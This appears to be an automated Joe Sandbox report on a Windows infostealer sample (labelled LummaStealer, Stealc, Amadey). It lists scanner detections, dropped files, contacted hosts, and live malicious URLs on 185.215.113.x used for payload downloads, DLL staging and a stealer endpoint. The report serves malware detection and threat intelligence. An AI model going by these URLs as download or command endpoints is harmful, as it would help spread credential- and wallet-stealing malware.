Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	42%	ReversingLabs	Win32.Trojan.LummaStealer
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	47%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\DocumentsHDGCAAFBFB.exe	47%	ReversingLabs	Win32.Infostealer.Tinba

Source	Detection	Scanner	Label
https://msn.comXIDv101	0%	Avira URL Cloud	safe
http://185.215.113.16/mine/random.exeuip:	100%	Avira URL Cloud	phishing
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll3	100%	Avira URL Cloud	malware
http://185.215.113.206D	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.php;C:	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.php&	100%	Avira URL Cloud	malware
http://185.215.113.16/luma/random.exec6	100%	Avira URL Cloud	phishing
http://185.215.113.43/Zu7JuNko/index.phpZ$	100%	Avira URL Cloud	malware
http://185.215.113.16/luma/random.exe006397001	100%	Avira URL Cloud	phishing
http://185.215.113.206/68b591d6548ec281/freebl3.dlli	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/msvcp140.dll$p	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/mozglue.dlls	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/freebl3.dllW	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpn$	100%	Avira URL Cloud	malware
http://185.215.113.16/luma/random.exe61395d7	100%	Avira URL Cloud	phishing
http://185.215.113.206/c4becf79229cb002.phpxodus.wallet	100%	Avira URL Cloud	malware
http://185.215.113.16/luma/random.exe5cy2o	100%	Avira URL Cloud	phishing
http://185.215.113.206/c4becf79229cb002.phpt	100%	Avira URL Cloud	malware
http://185.215.113.16/luma/random.exe8_	100%	Avira URL Cloud	phishing
http://185.215.113.16/luma/random.exe450X2	100%	Avira URL Cloud	phishing
http://185.215.113.16/luma/random.exe61395dd27y	100%	Avira URL Cloud	phishing

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	162.159.61.3	true	false	high
plus.l.google.com	142.250.185.78	true	false	high
play.google.com	142.250.186.174	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	18.244.18.122	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
www.google.com	142.250.186.164	true	false	high
googlehosted.l.googleusercontent.com	142.250.186.65	true	false	high
sni1gl.wpc.nucdn.net	152.199.21.175	true	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731660944152&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
http://185.215.113.206/	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731660944241&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
https://sb.scorecardresearch.com/b2?rn=1731660940825&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3206BAE9F57467FF075BAFD1F4D566D3&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
https://c.msn.com/c.gif?rnd=1731660940824&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=2fd421e6d33b4b73a02a9b59698593f1&activityId=2fd421e6d33b4b73a02a9b59698593f1&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731660940823&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://c.msn.com/c.gif?rnd=1731660940824&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=2fd421e6d33b4b73a02a9b59698593f1&activityId=2fd421e6d33b4b73a02a9b59698593f1&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=9F5B3DC16E4247A0BCCA1C3511DFAD5B&MUID=3206BAE9F57467FF075BAFD1F4D566D3	false	high
https://play.google.com/log?format=json&hasfast=true	false	high
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0	false	high
https://sb.scorecardresearch.com/b?rn=1731660940825&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3206BAE9F57467FF075BAFD1F4D566D3&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
http://185.215.113.16/mine/random.exe	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high
http://185.215.113.206/68b591d6548ec281/mozglue.dll	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731660943235&w=0&anoncknm=app_anon&NoResponseBody=true	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0	file.exe, 00000000.00000002.1806286590.0000000001104000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1823825549.0000000023622000.00000004.00000020.00020000.00000000.sdmp, EHDGCGIDAKEBKECAFIEH.0.dr	false		high
https://duckduckgo.com/chrome_newtab	CAEBGHDB.0.dr, CGDBGCBG.0.dr, Web Data.9.dr	false		high
https://c.msn.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000002.1806286590.0000000001104000.00000004.00000020.00020000.00000000.sdmp, CAEBGHDB.0.dr, CGDBGCBG.0.dr, Web Data.9.dr	false		high
http://www.broofa.com	chromecache_440.5.dr	false		high
https://ntp.msn.com/0	000003.log2.9.dr	false		high
https://ntp.msn.com/_default	QuotaManager.9.dr	false		high
https://deff.nelreports.net/api/report?cat=msn	2cc80dabc69f58b6_0.9.dr	false		high
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.9.dr	false		high
https://sb.scorecardresearch.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://deff.nelreports.net/api/report	Reporting and NEL.10.dr	false		high
https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1	chromecache_442.5.dr	false		high
https://docs.google.com/	manifest.json0.9.dr	false		high
https://deff.nelreports.net/api/report?cat=msnw	Reporting and NEL.10.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpation	file.exe, 00000000.00000002.1804765583.0000000000657000.00000040.00000001.01000000.00000003.sdmp	false		high
http://185.215.113.16/mine/random.exeuip:	file.exe, 00000000.00000002.1806286590.00000000010EA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.206D	file.exe, 00000000.00000002.1806286590.000000000108E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.google.com/	manifest.json0.9.dr	false		high
http://185.215.113.206/c4becf79229cb002.php;C:	file.exe, 00000000.00000002.1823825549.000000002362C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://msn.comXIDv101	Cookies.10.dr	false	Avira URL Cloud: safe	unknown
https://unitedstates4.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK	DAKFIDHDGIEGCAKFIIJKFCBFBF.0.dr	false		high
http://www.mozilla.com/en-US/blocklist/	file.exe, 00000000.00000002.1828526432.000000007013D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false		high
http://185.215.113.16/luma/random.exec6	skotes.exe, 0000001B.00000002.2599679881.00000000011E0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://drive-daily-2.corp.google.com/	manifest.json0.9.dr	false		high
https://drive-daily-4.corp.google.com/	manifest.json0.9.dr	false		high
http://185.215.113.206/c4becf79229cb002.php&	file.exe, 00000000.00000002.1823825549.000000002362C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://srtb.msn.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000002.1806286590.0000000001104000.00000004.00000020.00020000.00000000.sdmp, CAEBGHDB.0.dr, CGDBGCBG.0.dr, Web Data.9.dr	false		high
https://assets.msn.com	168b24b2-3c3d-4b68-a1bf-1c1b05d15a3d.tmp.10.dr	false		high
https://www.ecosia.org/newtab/	CAEBGHDB.0.dr	false		high
https://drive-daily-1.corp.google.com/	manifest.json0.9.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	DAKFIDHDGIEGCAKFIIJKFCBFBF.0.dr	false		high
http://185.215.113.16/luma/random.exe006397001	skotes.exe, 0000001B.00000002.2599679881.00000000011E0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://drive-daily-5.corp.google.com/	manifest.json0.9.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpZ$	skotes.exe, 0000001B.00000002.2599679881.00000000011E0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://plus.google.com	chromecache_442.5.dr	false		high
https://bzib.nelreports.net/api/report?cat=bingbusiness	Reporting and NEL.10.dr	false		high
https://www.google.com/chrome	content_new.js.9.dr, content.js.9.dr	false		high
https://www.msn.com/web-notification-icon-light.png	2cc80dabc69f58b6_1.9.dr	false		high
http://185.215.113.206/68b591d6548ec281/freebl3.dlli	file.exe, 00000000.00000002.1806286590.0000000001104000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll3	file.exe, 00000000.00000002.1806286590.0000000001104000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://chromewebstore.google.com/	manifest.json.9.dr	false		high
http://185.215.113.206/68b591d6548ec281/msvcp140.dll$p	file.exe, 00000000.00000002.1806286590.00000000010EA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	file.exe, 00000000.00000002.1806286590.0000000001104000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1823825549.0000000023622000.00000004.00000020.00020000.00000000.sdmp, EHDGCGIDAKEBKECAFIEH.0.dr	false		high
https://drive-preprod.corp.google.com/	manifest.json0.9.dr	false		high
https://srtb.msn.cn/	2cc80dabc69f58b6_1.9.dr	false		high
https://chrome.google.com/webstore/	manifest.json.9.dr	false		high
https://unitedstates2.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		high
http://185.215.113.206/68b591d6548ec281/mozglue.dlls	file.exe, 00000000.00000002.1806286590.0000000001104000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.9.dr	false		high
http://185.215.113.206/68b591d6548ec281/freebl3.dllW	file.exe, 00000000.00000002.1806286590.0000000001104000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://clients6.google.com	chromecache_442.5.dr	false		high
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.9.dr	false		high
http://185.215.113.16/luma/random.exe61395d7	skotes.exe, 0000001B.00000002.2599679881.00000000011E0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://ntp.msn.com/edge/ntp	000003.log2.9.dr, 2cc80dabc69f58b6_1.9.dr	false		high
https://assets.msn.com/resolver/	2cc80dabc69f58b6_1.9.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000002.1806286590.0000000001104000.00000004.00000020.00020000.00000000.sdmp, CAEBGHDB.0.dr, CGDBGCBG.0.dr, Web Data.9.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpxodus.wallet	file.exe, 00000000.00000002.1806286590.000000000108E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phpt	file.exe, 00000000.00000002.1823825549.000000002362C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/luma/random.exe	skotes.exe, 0000001B.00000002.2599679881.00000000011B8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ntp.msn.com	000003.log4.9.dr, 2cc80dabc69f58b6_0.9.dr	false		high
http://185.215.113.16/luma/random.exe5cy2o	skotes.exe, 0000001B.00000002.2599679881.00000000011E0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://browser.events.data.msn.cn/	2cc80dabc69f58b6_1.9.dr	false		high
https://drive-staging.corp.google.com/	manifest.json0.9.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpn$	skotes.exe, 0000001B.00000002.2599679881.00000000011E0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000002.1806286590.0000000001104000.00000004.00000020.00020000.00000000.sdmp, CAEBGHDB.0.dr, CGDBGCBG.0.dr, Web Data.9.dr	false		high
http://185.215.113.16/luma/random.exe450X2	skotes.exe, 0000001B.00000002.2599679881.00000000011E0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://apis.google.com	chromecache_442.5.dr, chromecache_440.5.dr	false		high
http://185.215.113.16/luma/random.exe8_	skotes.exe, 0000001B.00000002.2599679881.00000000011B8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://ntp.msn.com/	000003.log2.9.dr, 000003.log5.9.dr	false		high
https://domains.google.com/suggest/flow	chromecache_442.5.dr	false		high
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.1821083340.000000001D5FA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1827885151.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false		high
https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start	Session_13376134533707014.9.dr	false		high
https://ntp.msn.com/ntp.msn.com_default	QuotaManager.9.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	CAEBGHDB.0.dr, CGDBGCBG.0.dr, Web Data.9.dr	false		high
https://img-s.msn.cn/tenant/amp/entityid/	2cc80dabc69f58b6_1.9.dr	false		high
http://185.215.113.16/luma/random.exe61395dd27y	skotes.exe, 0000001B.00000002.2599679881.00000000011E0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
20.125.209.212	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
23.221.22.207	unknown	United States	20940	AKAMAI-ASN1EU	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
18.238.171.119	unknown	United States	16509	AMAZON-02US	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
20.96.153.111	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.185.78	plus.l.google.com	United States	15169	GOOGLEUS	false
4.152.199.46	unknown	United States	3356	LEVEL3US	false
142.250.186.174	play.google.com	United States	15169	GOOGLEUS	false
23.198.7.187	unknown	United States	20940	AKAMAI-ASN1EU	false
152.195.19.97	unknown	United States	15133	EDGECASTUS	false
52.182.143.211	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.47.50.150	unknown	United States	16625	AKAMAI-ASUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.198.7.173	unknown	United States	20940	AKAMAI-ASN1EU	false
13.107.246.57	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
18.244.18.122	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.186.164	www.google.com	United States	15169	GOOGLEUS	false
142.250.186.65	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.7
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1556342
Start date and time:	2024-11-15 09:54:04 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 9s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	29
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@72/295@26/26
EGA Information:	Successful, ratio: 75%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.186.131, 216.58.206.46, 64.233.184.84, 34.104.35.123, 142.250.185.131, 199.232.214.172, 216.58.206.42, 172.217.23.106, 142.250.186.74, 142.250.185.74, 142.250.184.202, 142.250.185.170, 142.250.185.106, 142.250.181.234, 142.250.186.138, 142.250.185.202, 142.250.186.170, 216.58.212.138, 142.250.185.138, 142.250.186.42, 216.58.206.74, 142.250.185.234, 13.107.42.16, 204.79.197.203, 13.107.21.239, 204.79.197.239, 142.250.185.110, 13.107.6.158, 108.141.37.120, 2.19.126.152, 2.19.126.145, 2.23.209.139, 2.23.209.135, 2.23.209.149, 2.23.209.142, 2.23.209.140, 2.23.209.137, 2.23.209.147, 2.23.209.143, 2.23.209.144, 88.221.110.179, 88.221.110.195, 2.23.209.155, 2.23.209.154, 2.23.209.156, 2.23.209.157, 2.23.209.158, 2.23.209.150, 2.23.209.163, 2.23.209.159, 2.23.209.167, 2.23.209.171, 2.23.209.166, 2.23.209.162, 2.23.209.164, 13.74.129.1, 204.79.197.237, 13.107.21.237, 23.38.98.88, 23.38.98.93, 23.38.98.89, 23.38.98.99, 23.38.98.95, 23.38.98.91, 23.38.98.98, 23.38.98.103
Excluded domains from analysis (whitelisted): cdp-f-ssl-tlu-net.trafficmanager.net, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, clients2.google.com, e86303.dscx.akamaiedge.net, login.live.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, prod-agic-we-5.westeurope.cloudapp.azure.com, a1834.dscg2.akamai.net, wildcardtlu-ssl.azureedge.net, edgedl.me.gvt1.com, c.bing.com, edgeassetservice.azureedge.net, clients.l.google.com, config.edge.skype.co
Execution Graph export aborted for target file.exe, PID 7284 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
03:55:38	API Interceptor	86x Sleep call for process: file.exe modified
03:57:01	API Interceptor	101x Sleep call for process: skotes.exe modified
09:55:55	Task Scheduler	Run new task: skotes path: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
13.107.246.45	https://pcefan.com/diary/index.php?st-manager=1&path=/click/track&id=4973&type=ranking&url=http://nam.dcv.ms/BxPVLH2cz4	Get hash	malicious	HTMLPhisher	Browse	nam.dcv.ms/BxPVLH2cz4

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	Facebook_Advertiser_Position_Description.lnk	Get hash	malicious	Ducktail	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	S0FTWARE.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	https://storage.googleapis.com/windows_bucket1/turbo/download/TurboVPN_setup.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
sb.scorecardresearch.com	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.32
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.244.18.27
